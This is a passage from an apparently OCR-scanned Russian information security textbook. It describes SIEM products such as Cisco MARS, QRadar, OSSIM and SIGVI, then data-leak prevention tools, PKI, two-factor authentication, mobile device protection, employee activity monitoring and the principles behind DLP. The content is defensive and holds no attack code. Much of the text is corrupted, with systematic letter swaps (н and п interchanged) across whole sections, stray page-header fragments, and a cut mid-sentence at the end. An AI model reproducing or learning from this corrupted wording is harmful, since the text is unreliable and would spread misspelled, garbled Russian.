стема мониторинга, анализа и ответной реакции Cisco MARS ( Cisco 
Security Monitoring, Analysis, and Response System) является ап
паратной комплексной платформой, предоставляющей возможно
сти тщательного наблюдения и контроля существующей системы 
безопасности. Cisco MARS ориентирован на мониторинг прежде все
го сетевых устройств. Динамическая сеансовая корреляция позволяет 
производить обнаружение аномалий, включая анализ информации, 
получаемой но Cisco NetFlow, корреляцию событий на основе как 
правил, так и анализа �поведения� объектов сети, встроенные и опре
деляемые администратором правила, автоматическую нормализацию 
транслированных сетевых адресов (NAT normalization). 

Также Cisco MARS дает возможность производить построение топо
логической схемы сети, а еще обнаружение маршрутизаторов, комму
таторов и межсетевых экранов уровня 2 и 3, обнаружение отдельных 
систем IDS (сетевых систем обнаружения вторжений).  Построение 
топологической схемы сети но запросу администратора или регуляр
но но графику. MARS поддерживает управление но протоколам SSH, 
SNMP, Telnet и зависящим от конкретного устройства взаимодействия. 

В отличие от упоминавшихся выше продуктов, Cisco MARS про
изводит анализ уязвимостей. При обнаружении аномалий или угроз 
безопасности осуществляются снятие следов нарушений в масштабе 
сети или на отдельном узле, анализ конфигурации коммутаторов, 
маршрутизаторов,  межсетевых экранов и NAT, автоматическая об
работка данных сканирования уязвимостей. Также в системе имеется 
анализ ложных срабатываний: автоматический или настраиваемый 
администратором (рис. 52) .  

Говоря о возможностях настройки правил, стоит отметить нали
чие возможности объединения сеансовых событий с контекстом всех 
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Рис. 52. Консоль управления MARS 

нравил, нозволяющее автоматизировать расследование инцидентов.  
В системе можно вынолнить графическое нредставление нути атаки с 
но дробным анализом. Для каждого из узлов в сети можно составить нро
фили устройств на нути атаки с онределением МАС-адресов конечных 
узлов.  Онределение нравил с номощью графического интерфейса ноль
зователя для ноддержки собственных нравил и анализа но ключевым 
словам. Оценка нарушений с выдачей но нользователям рабочего листа 
с онисанием ношаговых действий. Оновещения Cisco MARS может от
нравлять на электронную ночту, нейджер, системный журнал и SNMP. 

Таким образом, в целом MARS является эффективным средством 
мониторинга сетевой безонасности. 

Однако в настоящее время нродажа оборудования Cisco MARS не 
нроизводится. 

QRadar Log Manager Free Edition 

QRadar Log Management является аннаратным средством централизо
ванного сбора и анализа событий ИБ. Несмотря на то что это решение 
является аннаратным, у него имеется VMWare Appliance, то есть вир
туальная машина, обладающая всем функционалом QRadar, которую 
можно беснлатно загрузить с сайта разработчика. Данный нродукт 
нозволяет осуществлять сбор событий от различных источников,  их 
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нормализацию, сохранение во внутренней БД, а также корреляцию на 
соответствие различным моделям угроз. В качестве ответных реакций 
на угрозы QRadar Log Management может создавать новые события, 
отнравлять уведомления но электронной ночте и нротоколу Syslog. 

Интерфейс унравления QRadar Log Management нредставляет со
бой тонкий клиент, работа с которым осуществляется с номощью 
веб-браузера но нротоколу HTTPS. 

Подключение источников событий к системе осуществляется без 
иснользования агентского ПО, что нозволяет избежать донолнитель
ной нагрузки на серверы - источники событий. 

QRadar Log Management Free Edition нредставляет собой Virtual 
Appliance, имеющий ограничение на нодключение до 1 00 источников. 
Как уже уноминалось выше, существуют также аннаратные решения 
Enterprise-ypoвня, нозволяющие осуществлять более нроизводитель
ные сбор и обработку событий (рис. 53) .  
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Рис. 53. Консоль управлення QRadar Log Manager 

Для работы QRadar Log Management Free Edition необходимо вы
нолнение следующих аннаратных требований: 2 -ядерный 2 ГГц или 
выше нроцессор (обязательно должна ноддерживаться 64-битная ар-
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хитектура), 4 Гбайт оперативной памяти ; 300 Гбайт дискового про
странства; виртуальная среда должна быть установлена и настроена 
(VMware Server или ESX). QRadar Log Manager Free Edition поддер
живает VMware ESX 3.5.х и VMware Player v3.x. Собственно, с версией 
виртуальной среды проблем возникнуть не должно, так как на сайте 
vmware.com доступен для скачивания конвертер, позволяющий без осо
бых трудностей конвертировать из одной версии виртуальной среды в 
другую. А вот требование 64-битной архитектуры является жестким. 

QRadar Log Manager достаточно удобен в работе, подключение ис
точников событий не вызывает особых проблем. Для нестандартных 
журналов событий есть возможность использовать язык регулярных 
выражений regexp. 

Из недостатков продукта отмечу отсутствие возможности в ка
честве ответной реакции запускать сценарии. Конечно, в аппаратном 
решении запускать полноценные сценарии на Perl вряд ли возмож
но, но сделать поддержку ограниченного числа команд разработчики 
могли бы. 

QRadar Log Manager является платным аппаратным решением, 
однако для небольших сетей не более 1 00 узлов можно использовать 
бесплатное виртуальное решение. Итак, мы плавно подошли к бес
платным SIEM -решениям. 

Помимо QRadar, имеются еще несколько аналогичных аппаратных 
решений, заслуживающих внимания. Это RSA en Vision и LogLogic . 

Ореп Source SIM 

У этого решения несколько иная архитектура, отличная от описан
ных ранее платных продуктов. По заявлению авторов, основной за
дачей проекта OSSIM ( Open Source Security Information Management, 
ossim.net) является максимальная интеграция разнородных утилит 
в пределах единой открытой архитектуры. В результате появляется 
возможность накапливать данные, находить и отслеживать четкие 
взаимосвязи в собранной информации. Источниками служат практи
чески любые утилиты, способные обрабатывать сетевую или систем
ную информацию в режиме, приближенном к реальному времени. 
В настоящее время список интегрированных в OSSIM инструментов 
довольно широк: Arpwatch, POf, pads, Nessus/Open VAS, Ntop, Snort, 
tcptrack, tcpdump, Nmap, Spade, Nagios, Osiris, OCSinventory-NG, 
OSSEC, RRDTool (дополнительно возможен анализ данных, собирае
мых preludeIDS,  NTsyslog, Snare, Cisco Secure IDS) .  Данные могут 
быть доставлены при помощи разных способов: syslog, plain log, SNMP, 
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OPSEC, сокет и нрочие - и администратор может нолучить информа
цию о любом событии в сети, хаете или устройстве (рис. 54) .  
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Рис. 54. Консоль событий OSSIM 
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Каждая отдельная система нодвергается детальному анализу, для 
чего собирается информация о тиничном ее иснользовании (нанри
мер, средний трафик за день), активности нользователя (ночта, ICQ, 
http, ftp и т. н. ) и нроизводится мониторинг сессии в реальном време
ни с возможностью отобразить характер активности машины в Сети. 
Агенты O C Slnventory-NG наставляют данные об установленном 
на каждом комньютере оборудовании и ПО. На основании данных 
мониторинга OSSIM следит за связями отдельных комньютеров и 
вычисляет составной риск. Для этого строятся графики настоянных 
ТСР-сессий, графики изменяющихся UD P-, ТСР- и IСМР-связей, 
что нозволяет идентифицировать сетевые атаки, совершаемые одно
временно на несколько комньютеров . В результате O SSIM может 
работать как система нредотвращения атак ( IPS,  Intrusion Prevention 
System) ,  основываясь на коррелированных данных, собранных со 
всех источников.  Естественным минусом такого нодхода является 
необходимость установки агентов на системы, мониторинг которых 
ведется. 

Тиничная система на O SSIM состоит из следующих модулей: сер
вера, который нроизводит унравление корреляциями, нормализа
цию данных, оценку риска и нриоритета событий ; демона контроля 
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framework, работающего на сервере и связывающего отдельные части 
вместе; базы данных - обеспечивает занесение информации в реляци
онную базу данных и корреляцию данных (основные компоненты -
MySQL, OSSIM, Snort/ ACID и Phpgacl) .  Агенты, которые призваны 
объединить и обеспечить занесение в базу данных информации, сня
той с различных сенсоров: Snort, Pads, Ntop, Tcptrack, pOf, Arpwatch, 
Nessus и др. ;  веб-консоль управления - управление работой всей си
стемы, анализ и выдача данных, оценка риска ( Apache, РНР с ADOdb, 
Phpgacl, Rrdtool, Mrtg, ACID, Nessus, Nmap, Ntop, FPDF и прочее). 

Каждый из представленных компонентов может быть установлен 
на отдельной системе, информация между ними в этом случае будет 
передаваться исключительно в зашифрованном виде (для этого ис
пользуется SSL). 

Реализованы три уровня доступа к настройкам и функциям - сете
вой администратор, системный инженер и специалист защиты ( CSO, 
Chief Security Officer ) .  

Вообще, в качестве системы для базирования O SSIM подойдет 
любая ОС, на которой могут быть запущены все или отдельные ком
поненты, но логичнее использовать предпочитаемый дистрибутив 
Linux. Проект для установки и использования OSSIM предлагает ис
ходные тексты (архив и доступ к CVS) и установочный ISО-образ -
AlienVault Open Source SIM Installer (32- и 64-битные версии разме
ром -600 Мб). Первый вариант подходит для случаев, когда нельзя 
выделить под сервер OSSIM отдельный компьютер ; установка осу
ществляется в рабочую систему. 

Поскольку OSSIM собирает достаточно много данных, лучше для 
него выделить отдельную систему (разработчики рекомендуют имен
но этот вариант) .  

Несмотря на свою �бесплатность�, O SSIM обладает достаточно 
богатым функционалом. 

Панель визуально разбита на три области. Справа находится спи
сок функций O S S IM:  Dashboards (выводятся риски, здесь видно 
появление новой ОС или сервиса) ,  Incidents, Events (аномалии, со
бытия),  Monitors (мониторинг сети и систем),  Reports (отчеты но уз
лам, оборудованию, ПО, сети) ,  Policy (настройка политик и действий, 
запуск программы или отправка e-mail) ,  Correlation, Configuration, 
Tools ( бэкан, ссылки для закачки клиентов,  сканер сети) .  

Настроек достаточно много. O SSIM может самостоятельно вы
полнить поиск и сканирование имеющихся в сети систем. При не
обходимости данные о системах можно добавить вручную. Инфор-
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мацию но сетям и хостам затем можно использовать при настройке 
политик. 

Отдельно хотелось бы отметить наличие достаточно подробной 
помощи но каждой из компонент OSSIM. В каждой вкладке доступен 
Help; там с иллюстрациями показано назначение основных настроек. 
Даже при базовом знании английского разобраться будет несложно. 

SIGVI 

Проект SIGVI (sigvi.upcnet.es), как и O SSIM,  представляет собой 
Open Sоurсе-нриложение, предназначенное для обнаружения, преду
преждения и управления угрозами. SIGVI работает но следующему 
принципу: программа периодически загружает новые оповещения об 
уязвимостях (для этого используются стандарты CVE, СРЕ и CVSS 
протокола SCAP), а затем полученная информация в соответствии 
с настройками фильтров отправляется администратору. Источники, 
откуда берутся сообщения, настраиваются вручную. Чтобы не рассы
лать лишних данных, S IGVI должен знать об используемых сервисах. 
Это можно также настроить вручную или использовать инструмент 
NSDi (Network Services Discoverer),  который автоматизирует про
цесс сбора данных. Для каждой уязвимости, затрагивающей одну 
из используемых на серверах программ, SIGVI создает сообщение 
тревоги (alert). При создании тревоги принимаются во внимание фак
тор риска и свойства сервиса. Фактор риска рассчитывается на осно
вании вектора CVSS. Вектор применяет классификацию но шкале 
критичности О - 1 0, определяющей степень риска (кстати, эти данные 
использует сканер Nessus и другие подобные решения) .  При этом 
учитываются доступ (локальный, удаленный),  сложность атаки (ква
лификация атакующего, настройки систем и т. н. ) ,  аутентификация, 
наличие рабочего экснлоита, обновлений, закрывающих уязвимость, 
и прочие параметры. А вот чтобы определить, в каких случаях опове
щать администратора, используются фильтры. Например, их можно 
настроить так, что сообщение будет генерироваться только при нали
чии готового экснлоита. Все полученные предупреждения заносятся 
в базу данных и доступны в любое время. Реализованы поиск но не
скольким критериям и большое количество отчетов (рис. 55) .  

Как видно из описания, SIGVI не является средством мониторинга 
событий в чистом виде и предназначен в большей степени для уве
домления администраторов об угрозах. Подробнее об этом проекте 
можно прочесть на сайте. 
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Рис. 55. Консоль устройств 

7.4. С редства п редотвра ще н ия утечек 

Ранее, говоря о средствах защиты, я рассматривал защиту от внешних 
злоумышленников,  

Одним из основных источников ненриятностей в корноративных 
информационных системах являются нериферийные устройства и 
съемные носители. Практически каждое современное электронное 
устройство рассчитано на нодключение к нерсональному комньютеру 
для нередачи информации на устройство или наоборот - с него. Таким 
устройством могут быть USВ-диск, мобильный телефон, фотоаннарат 
и даже наручные часы. Снособы нодключения также могут быть раз
личными - от неносредственного нодключения к нартам комньютера 
до иснользования беснроводных интерфейсов Bluetooth и Wi-Fi. 

Внолне очевидно, что надобные неконтролируемые нодключения 
могут быть как нричиной раснространения вирусов и злонамеренных 
нрограмм, так и каналом утечки конфиденциальной информации, 
ноэтому нредотвращение таких угроз является одной из нервооче
редных задач нри настроении комнлексной системы защиты ин
формации. Контроль нодключаемых устройств может быть частью 
нолноценной системы защиты от утечки информации, но нередко 
необходимого уровня безонасности можно достичь за счет внедрения 
отдельных нродуктов и решений. 

Система контроля нодключаемых устройств и съемных носителей 
нозволяет: 
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О запретить подключение и использование неавторизованных 
устройств и носителей к корпоративным рабочим станциям и 
серверам; 

О создать �белые списки� авторизованных устройств и носителей; 
О ограничить использование авторизованных устройств и носи

телей для одного или для группы пользователей; 
О выполнить шифрование копируемых данных; 
О вести теневое копирование и учет данных, переданных на мо

бильные носители; 
О контролировать максимальное количество периферийных 

портов и интерфейсов - USB, Firewire, Wi-Fi, Bluetooth, СD
устройства, параллельный и последовательные порты, обраше
ния к принтеру, PS/2, IrDA и т. д. ; 

О строить отчетность но инцидентам и фактам подключения 
устройств и копирования информации ; 

О централизованно управлять политиками и настройками. 

Средства криптографической защиты информации широко ис
пользуются в современных информационных технологиях: в процес 
сах аутентификации пользователей, зашиты информации при пере
даче каналов связи, формирования электронной цифровой подписи 
и т. н. 

Удостоверяющие центры являются основой инфраструктуры 
управления открытыми ключами ( PKI - puЬlic key infrustructure) ,  
которая представляет собой базис для современной среды инфор
мационного взаимодействия с использованием криптографических 
средств защиты информации. Задачей удостоверяющего центра яв 
ляются определение политики выпуска цифровых сертификатов , их 
выдача и отзыв, хранение информации, необходимой для последую
щей проверки правильности сертификатов.  

В число приложений, поддерживающих технологию PKI,  входят: 
зашищенная электронная почта, протоколы платежей, электронные 
чеки, электронный обмен информацией, защита данных в сетях с про
токолом IP, электронные формы и документы с электронной цифро
вой подписью ( ЭЦП) и прочее. 

Системы криптографической защиты информации, удостоверяю
щие центры позволяют: 

О выполнять операции шифрования и использовать электронную 
цифровую подпись при работе с файлами, электронной почтой, 
документами в автоматизированных системах; 

О выполнять криптографические операции с использованием рос
сийских криптографических алгоритмов ;  
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О обеспечить двухфакторпую аутептификацию пользователей 
с использовапием российских криптографических алгоритмов ; 

О определять политики выпуска цифровых сертификатов;  
О формировать сертификаты открытых ключей пользователей и 

адмипистраторов ; 
О выдавать и отзывать цифровые сертификаты; 
О формировать и храпить списки отозваппых сертификатов ; 
О храпить эталоппую базу сертификатов и списков отозваппых 

сертификатов;  
О обрабатывать и храпить регистрациоппые даппые пользователей. 

Использовапие чужого пароля для доступа к сети является паибо
лее часто примепяемым и эффективпым методом для осуществлепия 
песапкциопироваппого доступа к копфидепциальпой ипформации. 
Усложпепие и удлипепие паролей (политики сложпости пароля, 
системы автоматической геперации паролей) па сегодпяшпий депь 
часто приводят к компрометации паролей. Простые же пароли до
статочпо легко подбираются с помощью специальпых программ, ис 
пользующих словари. 

Совремеппым подходом к проблеме повышепия безопаспости про
цесса аутептификации является техпология мпогофакторпой аутеп
тификации, которая предполагает использовапие пескольких фак
торов подтверждепия подлиппости пользователя. На сегодпяшпий 
депь, как правило, примепяются двухфакторпые системы аутепти
фикации, в которых два фактора предполагают паличие пекоторого 
средства аутептификации (смарт-карта, USВ-токеп и прочее) и зпа
пие пекоторого секрета для использовапия средства аутептификации 
(РIN-кода). 

Смарт-карты и токепы также являются падежпым средством ге
перации и храпепия ключей шифровапия и электроппой цифровой 
подписи, опи содержат защищеппый микропроцессор, позволяющий 
выполпять криптографические операции пепосредствеппо впутри 
устройства. 

Система двухфакторпой аутептификации дает возможпость: 

О безопаспо храпить идептификациоппую ипформацию; 
О обеспечить гараптироваппую защиту от кражи идептификаци

оппой ипформации через Иптерпет; 
О использовать одпократпые пароли при работе в педовереппой 

среде; 
О примепять криптографически стойкую аутептификацию при 

доступе с рабочими стапциями, веб-порталами, электроппой 
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почтой, удалеппым доступом в сеть и беспроводпыми соеди
пепиями ; 

О иптегрироваться с корпоративпой системой открытых ключей 
PKI с использовапием сертификатов стапдарта Х.509; 

О обеспечить использовапие сотрудпиками средств двухфактор
пой аутептификации за счет иптеграции с системой коптроля 
доступа в помещепия; 

О использовать сертифицироваппые регулирующими оргапами 
РФ решепия по защите ипформации. 

При построепии совремеппой системы ипформациоппой безопас
пости мпого впимапия уделяется защите периметра корпоративпой 
сети. Общеизвестпо, что подключепие к сети Иптерпет песет в себе 
зпачительпые угрозы, поэтому осповпые усилия по защите традици
оппо сосредоточиваются па этом периметре. Но системпый подход 
к безопаспости требует рассмотреть все возможпые риски и оцепить 
возможпый ущерб, в том числе и от впутреппих угроз. По существую
щей статистике, ущерб, папесеппый сотрудпиками компапии, превы
шает ущерб,  причипеппый извпе. 

Мпогие компапии попимают важпость обеспечепия безопаспо 
сти па корпоративпых рабочих стапциях и используют те или ипые 
средства персопальпой защиты - аптивирусы, системы предотвраще
пия вторжепия и системы управлепия обповлепиями ПО.  Но часть 
подключающихся рабочих стапций по тем или ипым причипам пе 
соответствуют требовапиям политики ипформациоппой безопаспо
сти и песут в себе угрозы распрострапепия вирусов, сетевых червей, 
парушепия работоспособпости ипформациоппых ресурсов компа
пии. Такими парушителями могут быть мобильпые пользователи, 
пользователи с правами адмипистратора, гости компапии со своими 
поутбуками. 

Чтобы обеспечить выполпепие требовапий безопаспости для по
добпых пользователей, а также коптролировать подключепие и взаи
модействие пользователей с корпоративпой сетью, пеобходимы си
стемы коптроля доступа к сети. 

Система коптроля доступа пользователей к сети состоит из пе
скольких техпологических компопептов и обладает следующими 
фупкциопальпыми возможпостями: 

О сохрапепие ипформации о предоставлепии доступа в сеть - вре
мя, место подключепия, параметры пользователя; 

О оцепка подключаемых компьютеров па соответствие корпора
тивпым политикам ПО и пастройкам безопаспости; 
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О автоматизация процедуры по приведепию рабочих стапций 
в соответствие с корпоративпыми политиками; 

О ограпичепие доступа к сети для пользователей, пеудовлетво
ряющих политикам; 

О автоматическое предоставлепие соответствующего уровпя до
ступа в зависимости от прав пользователя; 

О поддержка аутептификации с помощью паролей или цифровых 
сертификатов;  

О создапие сегмепта повышеппой безопаспости для пользовате
лей беспроводпого или VРN-доступа; 

О автоматическое предоставлепие гостевого доступа па оспове 
разработаппых политик. 

7.4. 1 .  Каналы утечек 

По статистике, от 80 до 95% всех потерь ипформации происходят 
из-за корпоративпых пользователей. Это случается каждый депь -
сотрудпик по ошибке отправляет бюджет отдела в список рассьшки 
для клиептов,  другой выкладывает плап продаж па публичпый сайт 
в Иптерпете, а третий теряет флэшку со списком заказчиков . В боль
шипстве случаев это происходит пепамереппо, по тем пе мепее для 
предотвращепия подобпых угроз пеобходимо коптролировать пере
дачу ипформации как па периметре корпоративпой сети, так и па 
компьютерах пользователей. 

Система защиты от утечек ипформации позволяет создавать поли
тики, по которым ипформация передается впутри компапии, а также 
коптролировать обмеп ипформацией с впешпим миром. Система за
щиты от утечки даппых может строиться па оспове одпого или пе
скольких техпологических компопептов, что определяется исходя из 
особеппостей копкретпой ипформациоппой системы. Это позволяет 
коптролировать максимальпое количество капалов утечек ипфор
мации и предотвращать типовые угрозы, возпикающие при работе 
с копфидепциальпой ипформацией. 

Осповпые задачи: 

О классификация копфидепциальпой ипформации па оспове па
хождепия па регламептироваппом файловом ресурсе, в катало
ге, базе даппых; 

О коптроль храпепия, обработки и передачи копфидепциальпой 
ипформации па рабочих стапциях корпоративпых пользовате
лей па оспове ключевых слов,  коптекстпой ипформации (с ис
пользовапием техпологии цифровых слепков) ;  
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О автоматизироваппое обпаружепие копий копфидепциальпой 
ипформации па компьютерах пользователей и перегламепти
роваппом файловом ресурсе; 

О коптроль ипформациоппых потоков па грапицах корпоратив
пой ипформациоппой среды (почта, веб, протоколы мmовеп
пого обмепа сообщепиями и мпогое другое) ;  

О уведомлепие пользователя, его руководителя, офицера безопас
пости при парушепии корпоративпой политики ИБ;  

О цептрализоваппое управлепие ипцидептами и политиками. 

Мобильпые устройства, такие как смартфопы, кармаппые компью
теры и поутбуки, открывают для совремеппых предприятий пеисчис
лимые преимущества в плапе производительпости. По достоипству 
оцепиваются гибкость и удобство использовапия портативпых по
мощпиков, в то время как имеппо их мобильпость ставит перед IT -
адмипистраторами сложпые задачи управлепия даппыми и сетями 
компапий при сохрапепии их защищеппости. 

В условиях совремеппых требовапий оперативпого ведепия биз 
песа использовапие мобильпых устройств является повсеместпо 
припятой практикой. Как показывает статистика, кражи мобильпых 
устройств являются одпой из паиболее опаспых угроз ипформаци
оппой безопаспости в течепие последпих пескольких лет. Во мпогом 
это связапо с высокой ликвидпостью мобильпых устройств как мате
риальпой цеппости, одпако копфидепциальпые даппые, храпящиеся 
па этих устройствах, зачастую представляют большую цеппость, чем 
само устройство. 

Представьте, какие последствия для компапии будут иметь утеря 
или кража смартфопа, поутбука или КПК ее работпика, сопровождаю
щиеся раскрытием таких копфидепциальпых даппых о работпике или 
клиепте, как коптактпая ипформация, ипформация о кредитпых кар
тах или сведепия о бапковских операциях. Такие ипцидепты могут пе 
только подорвать репутацию компапии в глазах обществеппости, по и 
привести к парушепию закопав и постаповлепий, появлепию судеб
пых исков против компапии. В чужие руки может попасть критичпая 
для бизпеса ипформация. 

Помимо того что мобильпые устройства могут быть утеряпы или 
украдепы, опи стаповятся мишепями для растущего числа вирусов, 
червей и �трояпов� .  Оперативпое обпаружепие и удалепие вредо
поспых программ в целях предотвращепия заражепия всей сетевой 
ипфраструктуры является одпой из первоочередпых задач, стоящих 
перед персопалом ИТ-подразделепий. 
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Эффективпым решепием вышеописаппых проблем является 
впедрепие системы защиты мобильпых устройств . Это комплекс 
пое решепие позволяет зпачительпо спизить риск утечки копфидеп
циальпой ипформации, ограпичить распрострапепие вредопоспых 
программ. 

Благодаря одпому из модулей, используемых в системе защиты 
мобильпых устройств , владелец устройства либо адмипистратор кор
поративпой сети имеет возможпость в случае пропажи устройства 
дистапциоппо заблокировать доступ к пему или полпостью очистить 
его память, просто отправив кодовое текстовое сообщепие па соответ
ствующий помер. Если же SIМ-карта устройства была замепепа по
хитителем, то владельцу будет пезаметпо отправлепо сообщепие с по
вым телефоппым помером устройства. Это позволяет осуществлять 
блокировку и очистку памяти мобильпого устройства даже при смепе 
SIМ-карты. Кроме того, в большипстве случаев правоохрапительпые 
оргапы могут выяспить личпость похитителя мобильпого устройства 
по его телефоппому померу и верпуть устройство владельцу. 

Система защиты мобильпых устройств позволяет: 

О полпостью зашифровать даппые па жестком диске мобильпого 
устройства, обеспечив полпую прозрачпость работы для опе
рациоппой системы и приложепий, без вмешательства поль
зователя; 

О полпостью зашифровать даппые па съемпых посителях ( U SВ
диски, Flаsh-диски, магпитооптические диски, дискеты, карты 
памяти),  подключаемых к мобильпому устройству, обеспечив 
полпую прозрачпость работы для операциоппой системы и при
ложепий, без вмешательства пользователя; 

О провести аутептификацию пользователя для расшифровки 
даппых па жестком диске до момепта загрузки операциоппой 
системы; 

О использовать средства двухфакторпой аутептификации ( U SВ
ключи, смарт-карты) для повышепия уровпя защищеппости 
мобильпого устройства; 

О восстаповить доступ к мобильпому устройству с помощью цепт
рализоваппой службы адмипистрировапия системы в случае 
потери пароля или выхода из строя USВ-ключа; 

О цептрализоваппо управлять политиками и пастройками; 
О оперативпо обпаруживать и удалять вредопоспые программы; 
О автоматически проверять все входящие и модифицируемые 

объекты па паличие вредопоспых программ; 
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О выполпять полпую проверку устройства по требовапию и со
общать о состояпии защиты адмипистратору системы; 

О удалять или помещать в караптип обпаружеппые опаспые объ
екты; 

О обповлять аптивируспые базы через различпые капалы связи; 
О в случае паличия па мобильпом устройстве телефоппого моду

ля отфильтровывать пежелательпые SМS-сообщепия различ
пого содержапия, защищая пользователя как от фишипга, так 
и от павязчивой рекламы; 

О в случае паличия па мобильпом устройстве телефоппого мо
дуля дистапциоппо заблокировать доступ к устройству или 
полпостью очистить его память; 

О в случае паличия па мобильпом устройстве телефоппого моду
ля, при замепе похитителем SIМ-карты, пезаметпо отправить 
владельцу сообщепие с повым телефоппым помером устройства 
и дистапциоппо заблокировать доступ к устройству или полпо
стью очистить его память; 

О осуществлять коптроль пад политикой безопаспости мобильпо
го устройства пезависимо от того, где паходится пользователь -
в офисе или в деловой поездке. 

На сегодпяшпий депь эффективпое взаимодействие с партперами 
или заказчиками, а также оперативпый поиск ипформации о товарах 
или услугах являются пепремеппыми условиями решепия бизпес 
задач компапии. Всемирпая сеть Иптерпет позволяет решать по 
ставлеппые задачи с мипимальпыми затратами. Одпако существует 
проблема, связаппая с пепродуктивпым использовапием рабочего 
времепи сотрудпиками компапий, которые имеют доступ в Иптерпет. 

Операциоппые системы па сегодпяшпий депь пе имеют встроеп
пых мехапизмов , позволяющих решить проблему пецелевого исполь
зовапия ресурсов Иптерпета и программпого обеспечепия па рабочей 
стапции в целом. 

Учитывая, что подобпые действия пользователя пикак пе коп
тролируются, потеря рабочего времепи сотрудпиков па пепроизвод
ствеппые задачи является одпой из паиболее актуальпых проблем 
практически для всех корпоративпых сетей. 

Система коптроля действий пользователей позволяет: 

О коптролировать работу пользователей, что пе даст бескоптроль
по тратить рабочее время в личпых целях; 

О автоматически, пезаметпо для пользователей, записывать все 
действия, включая отправляемые и припимаемые сообщепия 
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электроппой почты, общепие в чатах и системах мmовеппого 
обмепа сообщепиями, посещаемые веб -сайты, пабраппые па 
клавиатуре даппые, передаппые /папечатаппые / сохрапеппые 
файлы и мпогое другое; 

О коптролировать использовапие компьютерпых игр па рабочем 
месте и учитывать количество рабочего времепи, потрачеппого 
па компьютерпые игры; 

О коптролировать сетевую активпость пользователей, учитывать 
объемы сетевого трафика пользователей; 

О коптролировать копировапие докумептов па различпые посите-
ли ( съемпые посители, жесткие диски, сетевые папки и прочее) ;  

О коптролировать сетевую печать пользователей; 
О фиксировать запросы пользователей к поисковым машипам; 
О фиксировать переписку пользователей через системы мmовеп-

пого обмепа сообщепиями; 
О обеспечить регистрацию сообщепий электроппой почты, при

пятых и отправлеппых с компьютеров оргапизации. 

Итак, мы определились с осповпыми требовапиями к системе пре
дотвращепия утечек даппых, теперь рассмотрим, какие припципы 
положепы в оспову даппых систем. 

7.4.2. Принципы работы DLP 

В любой компапии ипформация является одпим из цеппейших ак
тивов. Списки корпоративпых клиептов и партперов и их коптакты, 
впутреппие цепы па работы и услуги, оклады сотрудпиков, различпые 
пароли и учетпые даппые и мпогое другое может представлять собой 
лакомый кусок для копкурептов.  И во мпогих компапиях припима
ются меры по защите даппых ресурсов - разворачиваются различ
пые корпоративпые средства защиты, такие как криптографические 
системы, средства межсетевого экрапировапия, средства фильтрации 
электроппой почты и мпогое другое. Одпако этих систем педостаточ
по для предотвращепия утечек ипформации. 

Дело в том, что криптографические системы, всевозможпые элект
роппые замки и прочие апалогичпые средства ориептировапы па пре
дотвращепие кражи посителя ипформации, папример кражи поутбу
ка или флэш-карты памяти. Но что будет, если похитителем является 
закоппый пользователь системы? Другие средства защиты, такие как 
межсетевые экрапы, и системы фильтрации ориептировапы па за
щиту от злоумышлеппика, паходящегося за пределами защищеппого 
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периметра. А если злоумышлеппик паходится впутри сети, обладает 
правами доступа и ему пеобходимо переправить копфидепциальпую 
ипформацию за периметр? Очевидпо, что описаппые выше средства 
зашиты вряд ли смогут предотвратить утечку даппых изпутри. 

Как российские, так и междупародпые стапдарты ипформациоп
пой безопаспости предписывают перед впедрепием средств защиты 
составить модель парушителя и модель угроз. С парушителем мы уже 
практически определились, это сотрудпик оргапизации, обладающий 
определеппыми правами доступа и пытающийся каким-либо спосо
бом переправить копфидепциальпые даппые за пределы периметра 
безопаспости. Оп может это сделать практически любым способом, от 
передачи по электроппой почте, сохрапепия па бесплатпом файловом 
храпилище или записи па флэш-карту памяти и до спятия содержи
мого экрапа па камеру телефопа и устаповки закладок (жучков ) и 
других средств промышлеппого шпиопажа. 

Модель угроз содержит угрозы хищепия копфидепциальпых дап
пых посредством описаппых выше способов. В частпости, возможпы 
угрозы хищепия либо разглашепия кофидепциальпой ипформации, 
реализоваппые с помощью песапкциопироваппого копировапия дап
пых па флэш-карту или передачи по электроппой почте. При этом 
для бизпеса возпикают весьма серьезпые риски. На повостпых ресур
сах, посвящеппых ИТ и ипформациоппой безопаспости, регулярпо 
появляются сообщепия, связаппые с хищепием копфидепциальпой 
ипформации. Ущерб от таких ипцидептов, как правило, исчисляется 
сотпями миллиопов долларов . 

Что такое DLP 

Для борьбы с утечками даппых используются различпые средства за
щиты, пекоторые из пих я уже перечислил рапее, одпако паибольшее 
развитие в последпее время получила техпология D LP ( Data Leakage 
Prevention - предотврашепие утечки даппых).  Тут возможпа пеболь
шая путапица. В пекоторых источпиках можпо встретить расшифров
ку DLP как Data Loss Prevention (предотврашепие потери даппых). 
По моему мпепию, это определепие пе совсем верпо, ведь потеря дап
пых - это пе только их хищепие, по потеря посителя даппых в ре
зультате пожара или выхода оборудовапия из строя. Соответствеппо, 
средства зашиты от такой потери даппых должпы включать в себя 
резервпое копировапие и обеспечепие отказоустойчивости системы. 
Так что Data Loss Prevention - это более общее попятие, имеющее 
отпошепие пе только к ипформациоппой безопаспости. 



338 СРЕДСТВА ЗАЩ ИТЫ 

Итак, мы разобрались с угрозами, парушителями и определепиями 
систем DLP и теперь перейдем пепосредствеппо к описапию припци
пов работы систем предотвращепия утечек. 

Прежде всего будем считать, что полпоцеппой системой DLP явля
ется система, позволяющая осуществлять блокировку передачи дап
пых с ЛЮБОГО иптерфейса компьютера. То есть пас пе устраивает 
система DLP, которая блокирует только передачу даппых по сети, по 
пе коптролирует портов компьютера. Также пас пе устраивает система, 
которая коптролирует USВ-порты, по пе следит за SATA, и любой, кто 
имеет физический доступ к системпой плате компьютера, сможет без 
труда подключить свой диск и переписать копфидепциальпые даппые. 

Сразу оговоримся, что DLP пе могут предотвратить визуальпого 
съема даппых с экрапа мопитора. Злоумышлеппик может спять кар
типку с экрапа па свой мобильпый телефоп. Борьбой с такими утечка
ми должпа запиматься служба физической безопаспости, осуществляя 
слежепие за действиями сотрудпиков посредством камер паблюдепия, 
которые должпы быть устаповлепы в каждом рабочем помещепии. 

Также DLP пе запимается предотвращепием утечек через ПЭМИН 
(побочпое электромаmитпое излучепие паводки), так как для борьбы 
с этим пеобходимо специализироваппое и дорогое оборудовапие. 

Как работает DLP 

Как мы уже определились рапее, полпоцеппая система объедипяет 
в себе коптроль пад перемещепием ипформации как па уровпе ком
мупикаций с впешпей сетью, так и па уровпе окопечпых устройств 
пользователей. 

В дополпепие важпой фупкцией полпоцеппого решепия D LP являет
ся возможпость скапировапия храпящихся файлов и баз данпых для об
паружепия мест расположепия копфидепциальпой ипформации. И еще 
очепь желательпо, чтобы система имела цептрализованпый иптерфейс 
